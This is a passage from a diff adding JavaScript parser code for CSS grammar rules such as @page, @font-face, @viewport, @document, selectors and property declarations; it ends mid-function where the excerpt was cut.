+            _media_feature: function() {
+                /*
+                 * media_feature
+                 *   : IDENT
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream;
+
+                this._readWhitespace();
+
+                tokenStream.mustMatch(Tokens.IDENT);
+
+                return SyntaxUnit.fromToken(tokenStream.token());
+            },
+
+            //CSS3 Paged Media
+            _page: function() {
+                /*
+                 * page:
+                 *    PAGE_SYM S* IDENT? pseudo_page? S*
+                 *    '{' S* [ declaration | margin ]? [ ';' S* [ declaration | margin ]? ]* '}' S*
+                 *    ;
+                 */
+                var tokenStream = this._tokenStream,
+                    line,
+                    col,
+                    identifier  = null,
+                    pseudoPage  = null;
+
+                //look for @page
+                tokenStream.mustMatch(Tokens.PAGE_SYM);
+                line = tokenStream.token().startLine;
+                col = tokenStream.token().startCol;
+
+                this._readWhitespace();
+
+                if (tokenStream.match(Tokens.IDENT)) {
+                    identifier = tokenStream.token().value;
+
+                    //The value 'auto' may not be used as a page name and MUST be treated as a syntax error.
+                    if (identifier.toLowerCase() === "auto") {
+                        this._unexpectedToken(tokenStream.token());
+                    }
+                }
+
+                //see if there's a colon upcoming
+                if (tokenStream.peek() === Tokens.COLON) {
+                    pseudoPage = this._pseudo_page();
+                }
+
+                this._readWhitespace();
+
+                this.fire({
+                    type:   "startpage",
+                    id:     identifier,
+                    pseudo: pseudoPage,
+                    line:   line,
+                    col:    col
+                });
+
+                this._readDeclarations(true, true);
+
+                this.fire({
+                    type:   "endpage",
+                    id:     identifier,
+                    pseudo: pseudoPage,
+                    line:   line,
+                    col:    col
+                });
+
+            },
+
+            //CSS3 Paged Media
+            _margin: function() {
+                /*
+                 * margin :
+                 *    margin_sym S* '{' declaration [ ';' S* declaration? ]* '}' S*
+                 *    ;
+                 */
+                var tokenStream = this._tokenStream,
+                    line,
+                    col,
+                    marginSym   = this._margin_sym();
+
+                if (marginSym) {
+                    line = tokenStream.token().startLine;
+                    col = tokenStream.token().startCol;
+
+                    this.fire({
+                        type: "startpagemargin",
+                        margin: marginSym,
+                        line:   line,
+                        col:    col
+                    });
+
+                    this._readDeclarations(true);
+
+                    this.fire({
+                        type: "endpagemargin",
+                        margin: marginSym,
+                        line:   line,
+                        col:    col
+                    });
+                    return true;
+                } else {
+                    return false;
+                }
+            },
+
+            //CSS3 Paged Media
+            _margin_sym: function() {
+
+                /*
+                 * margin_sym :
+                 *    TOPLEFTCORNER_SYM |
+                 *    TOPLEFT_SYM |
+                 *    TOPCENTER_SYM |
+                 *    TOPRIGHT_SYM |
+                 *    TOPRIGHTCORNER_SYM |
+                 *    BOTTOMLEFTCORNER_SYM |
+                 *    BOTTOMLEFT_SYM |
+                 *    BOTTOMCENTER_SYM |
+                 *    BOTTOMRIGHT_SYM |
+                 *    BOTTOMRIGHTCORNER_SYM |
+                 *    LEFTTOP_SYM |
+                 *    LEFTMIDDLE_SYM |
+                 *    LEFTBOTTOM_SYM |
+                 *    RIGHTTOP_SYM |
+                 *    RIGHTMIDDLE_SYM |
+                 *    RIGHTBOTTOM_SYM
+                 *    ;
+                 */
+
+                var tokenStream = this._tokenStream;
+
+                if (tokenStream.match([Tokens.TOPLEFTCORNER_SYM, Tokens.TOPLEFT_SYM,
+                        Tokens.TOPCENTER_SYM, Tokens.TOPRIGHT_SYM, Tokens.TOPRIGHTCORNER_SYM,
+                        Tokens.BOTTOMLEFTCORNER_SYM, Tokens.BOTTOMLEFT_SYM,
+                        Tokens.BOTTOMCENTER_SYM, Tokens.BOTTOMRIGHT_SYM,
+                        Tokens.BOTTOMRIGHTCORNER_SYM, Tokens.LEFTTOP_SYM,
+                        Tokens.LEFTMIDDLE_SYM, Tokens.LEFTBOTTOM_SYM, Tokens.RIGHTTOP_SYM,
+                        Tokens.RIGHTMIDDLE_SYM, Tokens.RIGHTBOTTOM_SYM])) {
+                    return SyntaxUnit.fromToken(tokenStream.token());
+                } else {
+                    return null;
+                }
+
+            },
+
+            _pseudo_page: function() {
+                /*
+                 * pseudo_page
+                 *   : ':' IDENT
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream;
+
+                tokenStream.mustMatch(Tokens.COLON);
+                tokenStream.mustMatch(Tokens.IDENT);
+
+                //TODO: CSS3 Paged Media says only "left", "center", and "right" are allowed
+
+                return tokenStream.token().value;
+            },
+
+            _font_face: function() {
+                /*
+                 * font_face
+                 *   : FONT_FACE_SYM S*
+                 *     '{' S* declaration [ ';' S* declaration ]* '}' S*
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream,
+                    line,
+                    col;
+
+                //look for @page
+                tokenStream.mustMatch(Tokens.FONT_FACE_SYM);
+                line = tokenStream.token().startLine;
+                col = tokenStream.token().startCol;
+
+                this._readWhitespace();
+
+                this.fire({
+                    type:   "startfontface",
+                    line:   line,
+                    col:    col
+                });
+
+                this._readDeclarations(true);
+
+                this.fire({
+                    type:   "endfontface",
+                    line:   line,
+                    col:    col
+                });
+            },
+
+            _viewport: function() {
+                /*
+                 * viewport
+                 *   : VIEWPORT_SYM S*
+                 *     '{' S* declaration? [ ';' S* declaration? ]* '}' S*
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream,
+                    line,
+                    col;
+
+                tokenStream.mustMatch(Tokens.VIEWPORT_SYM);
+                line = tokenStream.token().startLine;
+                col = tokenStream.token().startCol;
+
+                this._readWhitespace();
+
+                this.fire({
+                    type:   "startviewport",
+                    line:   line,
+                    col:    col
+                });
+
+                this._readDeclarations(true);
+
+                this.fire({
+                    type:   "endviewport",
+                    line:   line,
+                    col:    col
+                });
+
+            },
+
+            _document: function() {
+                /*
+                 * document
+                 *   : DOCUMENT_SYM S*
+                 *     _document_function [ ',' S* _document_function ]* S*
+                 *     '{' S* ruleset* '}'
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    token,
+                    functions = [],
+                    prefix = "";
+
+                tokenStream.mustMatch(Tokens.DOCUMENT_SYM);
+                token = tokenStream.token();
+                if (/^@\-([^\-]+)\-/.test(token.value)) {
+                    prefix = RegExp.$1;
+                }
+
+                this._readWhitespace();
+                functions.push(this._document_function());
+
+                while (tokenStream.match(Tokens.COMMA)) {
+                    this._readWhitespace();
+                    functions.push(this._document_function());
+                }
+
+                tokenStream.mustMatch(Tokens.LBRACE);
+                this._readWhitespace();
+
+                this.fire({
+                    type:      "startdocument",
+                    functions: functions,
+                    prefix:    prefix,
+                    line:      token.startLine,
+                    col:       token.startCol
+                });
+
+                var ok = true;
+                while (ok) {
+                    switch (tokenStream.peek()) {
+                        case Tokens.PAGE_SYM:
+                            this._page();
+                            break;
+                        case Tokens.FONT_FACE_SYM:
+                            this._font_face();
+                            break;
+                        case Tokens.VIEWPORT_SYM:
+                            this._viewport();
+                            break;
+                        case Tokens.MEDIA_SYM:
+                            this._media();
+                            break;
+                        case Tokens.KEYFRAMES_SYM:
+                            this._keyframes();
+                            break;
+                        case Tokens.DOCUMENT_SYM:
+                            this._document();
+                            break;
+                        default:
+                            ok = Boolean(this._ruleset());
+                    }
+                }
+
+                tokenStream.mustMatch(Tokens.RBRACE);
+                token = tokenStream.token();
+                this._readWhitespace();
+
+                this.fire({
+                    type:      "enddocument",
+                    functions: functions,
+                    prefix:    prefix,
+                    line:      token.startLine,
+                    col:       token.startCol
+                });
+            },
+
+            _document_function: function() {
+                /*
+                 * document_function
+                 *   : function | URI S*
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    value;
+
+                if (tokenStream.match(Tokens.URI)) {
+                    value = tokenStream.token().value;
+                    this._readWhitespace();
+                } else {
+                    value = this._function();
+                }
+
+                return value;
+            },
+
+            _operator: function(inFunction) {
+
+                /*
+                 * operator (outside function)
+                 *  : '/' S* | ',' S* | /( empty )/
+                 * operator (inside function)
+                 *  : '/' S* | '+' S* | '*' S* | '-' S* /( empty )/
+                 *  ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    token       = null;
+
+                if (tokenStream.match([Tokens.SLASH, Tokens.COMMA]) ||
+                    (inFunction && tokenStream.match([Tokens.PLUS, Tokens.STAR, Tokens.MINUS]))) {
+                    token =  tokenStream.token();
+                    this._readWhitespace();
+                }
+                return token ? PropertyValuePart.fromToken(token) : null;
+
+            },
+
+            _combinator: function() {
+
+                /*
+                 * combinator
+                 *  : PLUS S* | GREATER S* | TILDE S* | S+
+                 *  ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    value       = null,
+                    token;
+
+                if (tokenStream.match([Tokens.PLUS, Tokens.GREATER, Tokens.TILDE])) {
+                    token = tokenStream.token();
+                    value = new Combinator(token.value, token.startLine, token.startCol);
+                    this._readWhitespace();
+                }
+
+                return value;
+            },
+
+            _unary_operator: function() {
+
+                /*
+                 * unary_operator
+                 *  : '-' | '+'
+                 *  ;
+                 */
+
+                var tokenStream = this._tokenStream;
+
+                if (tokenStream.match([Tokens.MINUS, Tokens.PLUS])) {
+                    return tokenStream.token().value;
+                } else {
+                    return null;
+                }
+            },
+
+            _property: function() {
+
+                /*
+                 * property
+                 *   : IDENT S*
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    value       = null,
+                    hack        = null,
+                    tokenValue,
+                    token,
+                    line,
+                    col;
+
+                //check for star hack - throws error if not allowed
+                if (tokenStream.peek() === Tokens.STAR && this.options.starHack) {
+                    tokenStream.get();
+                    token = tokenStream.token();
+                    hack = token.value;
+                    line = token.startLine;
+                    col = token.startCol;
+                }
+
+                if (tokenStream.match(Tokens.IDENT)) {
+                    token = tokenStream.token();
+                    tokenValue = token.value;
+
+                    //check for underscore hack - no error if not allowed because it's valid CSS syntax
+                    if (tokenValue.charAt(0) === "_" && this.options.underscoreHack) {
+                        hack = "_";
+                        tokenValue = tokenValue.substring(1);
+                    }
+
+                    value = new PropertyName(tokenValue, hack, (line||token.startLine), (col||token.startCol));
+                    this._readWhitespace();
+                }
+
+                return value;
+            },
+
+            //Augmented with CSS3 Selectors
+            _ruleset: function() {
+                /*
+                 * ruleset
+                 *   : selectors_group
+                 *     '{' S* declaration? [ ';' S* declaration? ]* '}' S*
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    tt,
+                    selectors;
+
+
+                /*
+                 * Error Recovery: If even a single selector fails to parse,
+                 * then the entire ruleset should be thrown away.
+                 */
+                try {
+                    selectors = this._selectors_group();
+                } catch (ex) {
+                    if (ex instanceof SyntaxError && !this.options.strict) {
+
+                        //fire error event
+                        this.fire({
+                            type:       "error",
+                            error:      ex,
+                            message:    ex.message,
+                            line:       ex.line,
+                            col:        ex.col
+                        });
+
+                        //skip over everything until closing brace
+                        tt = tokenStream.advance([Tokens.RBRACE]);
+                        if (tt === Tokens.RBRACE) {
+                            //if there's a right brace, the rule is finished so don't do anything
+                        } else {
+                            //otherwise, rethrow the error because it wasn't handled properly
+                            throw ex;
+                        }
+
+                    } else {
+                        //not a syntax error, rethrow it
+                        throw ex;
+                    }
+
+                    //trigger parser to continue
+                    return true;
+                }
+
+                //if it got here, all selectors parsed
+                if (selectors) {
+
+                    this.fire({
+                        type:       "startrule",
+                        selectors:  selectors,
+                        line:       selectors[0].line,
+                        col:        selectors[0].col
+                    });
+
+                    this._readDeclarations(true);
+
+                    this.fire({
+                        type:       "endrule",
+                        selectors:  selectors,
+                        line:       selectors[0].line,
+                        col:        selectors[0].col
+                    });
+
+                }
+
+                return selectors;
+
+            },
+
+            //CSS3 Selectors
+            _selectors_group: function() {
+
+                /*
+                 * selectors_group
+                 *   : selector [ COMMA S* selector ]*
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream,
+                    selectors   = [],
+                    selector;
+
+                selector = this._selector();
+                if (selector !== null) {
+
+                    selectors.push(selector);
+                    while (tokenStream.match(Tokens.COMMA)) {
+                        this._readWhitespace();
+                        selector = this._selector();
+                        if (selector !== null) {
+                            selectors.push(selector);
+                        } else {
+                            this._unexpectedToken(tokenStream.LT(1));
+                        }
+                    }
+                }
+
+                return selectors.length ? selectors : null;
+            },
+
+            //CSS3 Selectors
+            _selector: function() {
+                /*
+                 * selector
+                 *   : simple_selector_sequence [ combinator simple_selector_sequence ]*
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    selector    = [],
+                    nextSelector = null,
+                    combinator  = null,
+                    ws          = null;
+
+                //if there's no simple selector, then there's no selector
+                nextSelector = this._simple_selector_sequence();
+                if (nextSelector === null) {
+                    return null;
+                }
+
+                selector.push(nextSelector);
+
+                do {
+
+                    //look for a combinator
+                    combinator = this._combinator();
+
+                    if (combinator !== null) {
+                        selector.push(combinator);
+                        nextSelector = this._simple_selector_sequence();
+
+                        //there must be a next selector
+                        if (nextSelector === null) {
+                            this._unexpectedToken(tokenStream.LT(1));
+                        } else {
+
+                            //nextSelector is an instance of SelectorPart
+                            selector.push(nextSelector);
+                        }
+                    } else {
+
+                        //if there's not whitespace, we're done
+                        if (this._readWhitespace()) {
+
+                            //add whitespace separator
+                            ws = new Combinator(tokenStream.token().value, tokenStream.token().startLine, tokenStream.token().startCol);
+
+                            //combinator is not required
+                            combinator = this._combinator();
+
+                            //selector is required if there's a combinator
+                            nextSelector = this._simple_selector_sequence();
+                            if (nextSelector === null) {
+                                if (combinator !== null) {
+                                    this._unexpectedToken(tokenStream.LT(1));
+                                }
+                            } else {
+
+                                if (combinator !== null) {
+                                    selector.push(combinator);
+                                } else {
+                                    selector.push(ws);
+                                }
+
+                                selector.push(nextSelector);
+                            }
+                        } else {
+                            break;
+                        }
+
+                    }
+                } while (true);
+
+                return new Selector(selector, selector[0].line, selector[0].col);
+            },
+
+            //CSS3 Selectors
+            _simple_selector_sequence: function() {
+                /*
+                 * simple_selector_sequence
+                 *   : [ type_selector | universal ]
+                 *     [ HASH | class | attrib | pseudo | negation ]*
+                 *   | [ HASH | class | attrib | pseudo | negation ]+
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+
+                    //parts of a simple selector
+                    elementName = null,
+                    modifiers   = [],
+
+                    //complete selector text
+                    selectorText= "",
+
+                    //the different parts after the element name to search for
+                    components  = [
+                        //HASH
+                        function() {
+                            return tokenStream.match(Tokens.HASH) ?
+                                    new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) :
+                                    null;
+                        },
+                        this._class,
+                        this._attrib,
+                        this._pseudo,
+                        this._negation
+                    ],
+                    i           = 0,
+                    len         = components.length,
+                    component   = null,
+                    line,
+                    col;
+
+
+                //get starting line and column for the selector
+                line = tokenStream.LT(1).startLine;
+                col = tokenStream.LT(1).startCol;
+
+                elementName = this._type_selector();
+                if (!elementName) {
+                    elementName = this._universal();
+                }
+
+                if (elementName !== null) {
+                    selectorText += elementName;
+                }
+
+                while (true) {
+
+                    //whitespace means we're done
+                    if (tokenStream.peek() === Tokens.S) {
+                        break;
+                    }
+
+                    //check for each component
+                    while (i < len && component === null) {
+                        component = components[i++].call(this);
+                    }
+
+                    if (component === null) {
+
+                        //we don't have a selector
+                        if (selectorText === "") {
+                            return null;
+                        } else {
+                            break;
+                        }
+                    } else {
+                        i = 0;
+                        modifiers.push(component);
+                        selectorText += component.toString();
+                        component = null;
+                    }
+                }
+
+
+                return selectorText !== "" ?
+                        new SelectorPart(elementName, modifiers, selectorText, line, col) :
+                        null;
+            },
+
+            //CSS3 Selectors
+            _type_selector: function() {
+                /*
+                 * type_selector
+                 *   : [ namespace_prefix ]? element_name
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    ns          = this._namespace_prefix(),
+                    elementName = this._element_name();
+
+                if (!elementName) {
+                    /*
+                     * Need to back out the namespace that was read due to both
+                     * type_selector and universal reading namespace_prefix
+                     * first. Kind of hacky, but only way I can figure out
+                     * right now how to not change the grammar.
+                     */
+                    if (ns) {
+                        tokenStream.unget();
+                        if (ns.length > 1) {
+                            tokenStream.unget();
+                        }
+                    }
+
+                    return null;
+                } else {
+                    if (ns) {
+                        elementName.text = ns + elementName.text;
+                        elementName.col -= ns.length;
+                    }
+                    return elementName;
+                }
+            },
+
+            //CSS3 Selectors
+            _class: function() {
+                /*
+                 * class
+                 *   : '.' IDENT
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    token;
+
+                if (tokenStream.match(Tokens.DOT)) {
+                    tokenStream.mustMatch(Tokens.IDENT);
+                    token = tokenStream.token();
+                    return new SelectorSubPart("." + token.value, "class", token.startLine, token.startCol - 1);
+                } else {
+                    return null;
+                }
+
+            },
+
+            //CSS3 Selectors
+            _element_name: function() {
+                /*
+                 * element_name
+                 *   : IDENT
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    token;
+
+                if (tokenStream.match(Tokens.IDENT)) {
+                    token = tokenStream.token();
+                    return new SelectorSubPart(token.value, "elementName", token.startLine, token.startCol);
+
+                } else {
+                    return null;
+                }
+            },
+
+            //CSS3 Selectors
+            _namespace_prefix: function() {
+                /*
+                 * namespace_prefix
+                 *   : [ IDENT | '*' ]? '|'
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream,
+                    value       = "";
+
+                //verify that this is a namespace prefix
+                if (tokenStream.LA(1) === Tokens.PIPE || tokenStream.LA(2) === Tokens.PIPE) {
+
+                    if (tokenStream.match([Tokens.IDENT, Tokens.STAR])) {
+                        value += tokenStream.token().value;
+                    }
+
+                    tokenStream.mustMatch(Tokens.PIPE);
+                    value += "|";
+
+                }
+
+                return value.length ? value : null;
+            },
+
+            //CSS3 Selectors
+            _universal: function() {
+                /*
+                 * universal
+                 *   : [ namespace_prefix ]? '*'
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream,
+                    value       = "",
+                    ns;
+
+                ns = this._namespace_prefix();
+                if (ns) {
+                    value += ns;
+                }
+
+                if (tokenStream.match(Tokens.STAR)) {
+                    value += "*";
+                }
+
+                return value.length ? value : null;
+
+            },
+
+            //CSS3 Selectors
+            _attrib: function() {
+                /*
+                 * attrib
+                 *   : '[' S* [ namespace_prefix ]? IDENT S*
+                 *         [ [ PREFIXMATCH |
+                 *             SUFFIXMATCH |
+                 *             SUBSTRINGMATCH |
+                 *             '=' |
+                 *             INCLUDES |
+                 *             DASHMATCH ] S* [ IDENT | STRING ] S*
+                 *         ]? ']'
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    value       = null,
+                    ns,
+                    token;
+
+                if (tokenStream.match(Tokens.LBRACKET)) {
+                    token = tokenStream.token();
+                    value = token.value;
+                    value += this._readWhitespace();
+
+                    ns = this._namespace_prefix();
+
+                    if (ns) {
+                        value += ns;
+                    }
+
+                    tokenStream.mustMatch(Tokens.IDENT);
+                    value += tokenStream.token().value;
+                    value += this._readWhitespace();
+
+                    if (tokenStream.match([Tokens.PREFIXMATCH, Tokens.SUFFIXMATCH, Tokens.SUBSTRINGMATCH,
+                            Tokens.EQUALS, Tokens.INCLUDES, Tokens.DASHMATCH])) {
+
+                        value += tokenStream.token().value;
+                        value += this._readWhitespace();
+
+                        tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]);
+                        value += tokenStream.token().value;
+                        value += this._readWhitespace();
+                    }
+
+                    tokenStream.mustMatch(Tokens.RBRACKET);
+
+                    return new SelectorSubPart(value + "]", "attribute", token.startLine, token.startCol);
+                } else {
+                    return null;
+                }
+            },
+
+            //CSS3 Selectors
+            _pseudo: function() {
+
+                /*
+                 * pseudo
+                 *   : ':' ':'? [ IDENT | functional_pseudo ]
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    pseudo      = null,
+                    colons      = ":",
+                    line,
+                    col;
+
+                if (tokenStream.match(Tokens.COLON)) {
+
+                    if (tokenStream.match(Tokens.COLON)) {
+                        colons += ":";
+                    }
+
+                    if (tokenStream.match(Tokens.IDENT)) {
+                        pseudo = tokenStream.token().value;
+                        line = tokenStream.token().startLine;
+                        col = tokenStream.token().startCol - colons.length;
+                    } else if (tokenStream.peek() === Tokens.FUNCTION) {
+                        line = tokenStream.LT(1).startLine;
+                        col = tokenStream.LT(1).startCol - colons.length;
+                        pseudo = this._functional_pseudo();
+                    }
+
+                    if (pseudo) {
+                        pseudo = new SelectorSubPart(colons + pseudo, "pseudo", line, col);
+                    } else {
+                        var startLine = tokenStream.LT(1).startLine,
+                            startCol  = tokenStream.LT(0).startCol;
+                        throw new SyntaxError("Expected a `FUNCTION` or `IDENT` after colon at line " + startLine + ", col " + startCol + ".", startLine, startCol);
+                    }
+                }
+
+                return pseudo;
+            },
+
+            //CSS3 Selectors
+            _functional_pseudo: function() {
+                /*
+                 * functional_pseudo
+                 *   : FUNCTION S* expression ')'
+                 *   ;
+                */
+
+                var tokenStream = this._tokenStream,
+                    value = null;
+
+                if (tokenStream.match(Tokens.FUNCTION)) {
+                    value = tokenStream.token().value;
+                    value += this._readWhitespace();
+                    value += this._expression();
+                    tokenStream.mustMatch(Tokens.RPAREN);
+                    value += ")";
+                }
+
+                return value;
+            },
+
+            //CSS3 Selectors
+            _expression: function() {
+                /*
+                 * expression
+                 *   : [ [ PLUS | '-' | DIMENSION | NUMBER | STRING | IDENT ] S* ]+
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    value       = "";
+
+                while (tokenStream.match([Tokens.PLUS, Tokens.MINUS, Tokens.DIMENSION,
+                        Tokens.NUMBER, Tokens.STRING, Tokens.IDENT, Tokens.LENGTH,
+                        Tokens.FREQ, Tokens.ANGLE, Tokens.TIME,
+                        Tokens.RESOLUTION, Tokens.SLASH])) {
+
+                    value += tokenStream.token().value;
+                    value += this._readWhitespace();
+                }
+
+                return value.length ? value : null;
+
+            },
+
+            //CSS3 Selectors
+            _negation: function() {
+                /*
+                 * negation
+                 *   : NOT S* negation_arg S* ')'
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    line,
+                    col,
+                    value       = "",
+                    arg,
+                    subpart     = null;
+
+                if (tokenStream.match(Tokens.NOT)) {
+                    value = tokenStream.token().value;
+                    line = tokenStream.token().startLine;
+                    col = tokenStream.token().startCol;
+                    value += this._readWhitespace();
+                    arg = this._negation_arg();
+                    value += arg;
+                    value += this._readWhitespace();
+                    tokenStream.match(Tokens.RPAREN);
+                    value += tokenStream.token().value;
+
+                    subpart = new SelectorSubPart(value, "not", line, col);
+                    subpart.args.push(arg);
+                }
+
+                return subpart;
+            },
+
+            //CSS3 Selectors
+            _negation_arg: function() {
+                /*
+                 * negation_arg
+                 *   : type_selector | universal | HASH | class | attrib | pseudo
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    args        = [
+                        this._type_selector,
+                        this._universal,
+                        function() {
+                            return tokenStream.match(Tokens.HASH) ?
+                                    new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) :
+                                    null;
+                        },
+                        this._class,
+                        this._attrib,
+                        this._pseudo
+                    ],
+                    arg         = null,
+                    i           = 0,
+                    len         = args.length,
+                    line,
+                    col,
+                    part;
+
+                line = tokenStream.LT(1).startLine;
+                col = tokenStream.LT(1).startCol;
+
+                while (i < len && arg === null) {
+
+                    arg = args[i].call(this);
+                    i++;
+                }
+
+                //must be a negation arg
+                if (arg === null) {
+                    this._unexpectedToken(tokenStream.LT(1));
+                }
+
+                //it's an element name
+                if (arg.type === "elementName") {
+                    part = new SelectorPart(arg, [], arg.toString(), line, col);
+                } else {
+                    part = new SelectorPart(null, [arg], arg.toString(), line, col);
+                }
+
+                return part;
+            },
+
+            _declaration: function() {
+
+                /*
+                 * declaration
+                 *   : property ':' S* expr prio?
+                 *   | /( empty )/
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    property    = null,
+                    expr        = null,
+                    prio        = null,
+                    invalid     = null,
+                    propertyName= "";
+
+                property = this._property();
+                if (property !== null) {
+
+                    tokenStream.mustMatch(Tokens.COLON);
+                    this._readWhitespace();
+
+                    expr = this._expr();
+
+                    //if there's no parts for the value, it's an error
+                    if (!expr || expr.length === 0) {
+                        this._unexpectedToken(tokenStream.LT(1));
+                    }
+
+                    prio = this._prio();
+
+                    /*
+                     * If hacks should be allowed, then only check the root
+                     * property. If hacks should not be allowed, treat
+                     * _property or *property as invalid properties.
+                     */
+                    propertyName = property.toString();
+                    if (this.options.starHack && property.hack === "*" ||
+                            this.options.underscoreHack && property.hack === "_") {
+
+                        propertyName = property.text;
+                    }
+
+                    try {
+                        this._validateProperty(propertyName, expr);
+                    } catch (ex) {
+                        invalid = ex;
+                    }
+
+                    this.fire({
+                        type:       "property",
+                        property:   property,
+                        value:      expr,
+                        important:  prio,
+                        line:       property.line,
+                        col:        property.col,
+                        invalid:    invalid
+                    });
+
+                    return true;
+                } else {
+                    return false;
+                }
+            },
+
+            _prio: function() {
+                /*
+                 * prio
+                 *   : IMPORTANT_SYM S*
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    result      = tokenStream.match(Tokens.IMPORTANT_SYM);
+
+                this._readWhitespace();
+                return result;
+            },
+
+            _expr: function(inFunction) {
+                /*
+                 * expr
+                 *   : term [ operator term ]*
+                 *   ;
+                 */
+
+                var values      = [],
+                    //valueParts    = [],
+                    value       = null,
+                    operator    = null;
+
+                value = this._term(inFunction);
+                if (value !== null) {
+
+                    values.push(value);
+
+                    do {
+                        operator = this._operator(inFunction);
+
+                        //if there's an operator, keep building up the value parts
+                        if (operator) {
+                            values.push(operator);
+                        } /*else {
+                            //if there's not an operator, you have a full value
+                            values.push(new PropertyValue(valueParts, valueParts[0].line, valueParts[0].col));
+                            valueParts = [];
+                        }*/
+
+                        value = this._term(inFunction);
+
+                        if (value === null) {
+                            break;
+                        } else {
+                            values.push(value);
+                        }
+                    } while (true);
+                }
+
+                //cleanup
+                /*if (valueParts.length) {
+                    values.push(new PropertyValue(valueParts, valueParts[0].line, valueParts[0].col));
+                }*/
+
+                return values.length > 0 ? new PropertyValue(values, values[0].line, values[0].col) : null;
+            },
+
+            _term: function(inFunction) {
+
+                /*
+                 * term
+                 *   : unary_operator?
+                 *     [ NUMBER S* | PERCENTAGE S* | LENGTH S* | ANGLE S* |
+                 *       TIME S* | FREQ S* | function | ie_function ]
+                 *   | STRING S* | IDENT S* | URI S* | UNICODERANGE S* | hexcolor
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    unary       = null,
+                    value       = null,
+                    endChar     = null,
+                    part        = null,
+                    token,
+                    line,
+                    col;
+
+                //returns the operator or null
+                unary = this._unary_operator();
+                if (unary !== null) {
+                    line = tokenStream.token().startLine;
+                    col = tokenStream.token().startCol;
+                }
+
+                //exception for IE filters
+                if (tokenStream.peek() === Tokens.IE_FUNCTION && this.options.ieFilters) {
+
+                    value = this._ie_function();
+                    if (unary === null) {
+                        line = tokenStream.token().startLine;
+                        col = tokenStream.token().startCol;
+                    }
+
+                //see if it's a simple block
+                } else if (inFunction && tokenStream.match([Tokens.LPAREN, Tokens.LBRACE, Tokens.LBRACKET])) {
+
+                    token = tokenStream.token();
+                    endChar = token.endChar;
+                    value = token.value + this._expr(inFunction).text;
+                    if (unary === null) {
+                        line = tokenStream.token().startLine;
+                        col = tokenStream.token().startCol;
+                    }
+                    tokenStream.mustMatch(Tokens.type(endChar));
+                    value += endChar;
+                    this._readWhitespace();
+
+                //see if there's a simple match
+                } else if (tokenStream.match([Tokens.NUMBER, Tokens.PERCENTAGE, Tokens.LENGTH,
+                        Tokens.ANGLE, Tokens.TIME,
+                        Tokens.FREQ, Tokens.STRING, Tokens.IDENT, Tokens.URI, Tokens.UNICODE_RANGE])) {
+
+                    value = tokenStream.token().value;
+                    if (unary === null) {
+                        line = tokenStream.token().startLine;
+                        col = tokenStream.token().startCol;
+                        // Correct potentially-inaccurate IDENT parsing in
+                        // PropertyValuePart constructor.
+                        part = PropertyValuePart.fromToken(tokenStream.token());
+                    }
+                    this._readWhitespace();
+                } else {
+
+                    //see if it's a color
+                    token = this._hexcolor();
+                    if (token === null) {
+
+                        //if there's no unary, get the start of the next token for line/col info
+                        if (unary === null) {
+                            line = tokenStream.LT(1).startLine;
+                            col = tokenStream.LT(1).startCol;
+                        }
+
+                        //has to be a function
+                        if (value === null) {
+
+                            /*
+                             * This checks for alpha(opacity=0) style of IE
+                             * functions. IE_FUNCTION only presents progid: style.
+                             */
+                            if (tokenStream.LA(3) === Tokens.EQUALS && this.options.ieFilters) {
+                                value = this._ie_function();
+                            } else {
+                                value = this._function();
+                            }
+                        }
+
+                        /*if (value === null) {
+                            return null;
+                            //throw new Error("Expected identifier at line " + tokenStream.token().startLine + ", character " +  tokenStream.token().startCol + ".");
+                        }*/
+
+                    } else {
+                        value = token.value;
+                        if (unary === null) {
+                            line = token.startLine;
+                            col = token.startCol;
+                        }
+                    }
+
+                }
+
+                return part !== null ? part : value !== null ?
+                        new PropertyValuePart(unary !== null ? unary + value : value, line, col) :
+                        null;
+
+            },
+
+            _function: function() {
+
+                /*
+                 * function
+                 *   : FUNCTION S* expr ')' S*
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    functionText = null,
+                    expr        = null,
+                    lt;
+
+                if (tokenStream.match(Tokens.FUNCTION)) {
+                    functionText = tokenStream.token().value;
+                    this._readWhitespace();
+                    expr = this._expr(true);
+                    functionText += expr;
+
+                    //START: Horrible hack in case it's an IE filter
+                    if (this.options.ieFilters && tokenStream.peek() === Tokens.EQUALS) {
+                        do {
+
+                            if (this._readWhitespace()) {
+                                functionText += tokenStream.token().value;
+                            }
+
+                            //might be second time in the loop
+                            if (tokenStream.LA(0) === Tokens.COMMA) {
+                                functionText += tokenStream.token().value;
+                            }
+
+                            tokenStream.match(Tokens.IDENT);
+                            functionText += tokenStream.token().value;
+
+                            tokenStream.match(Tokens.EQUALS);
+                            functionText += tokenStream.token().value;
+
+                            //functionText += this._term();
+                            lt = tokenStream.peek();
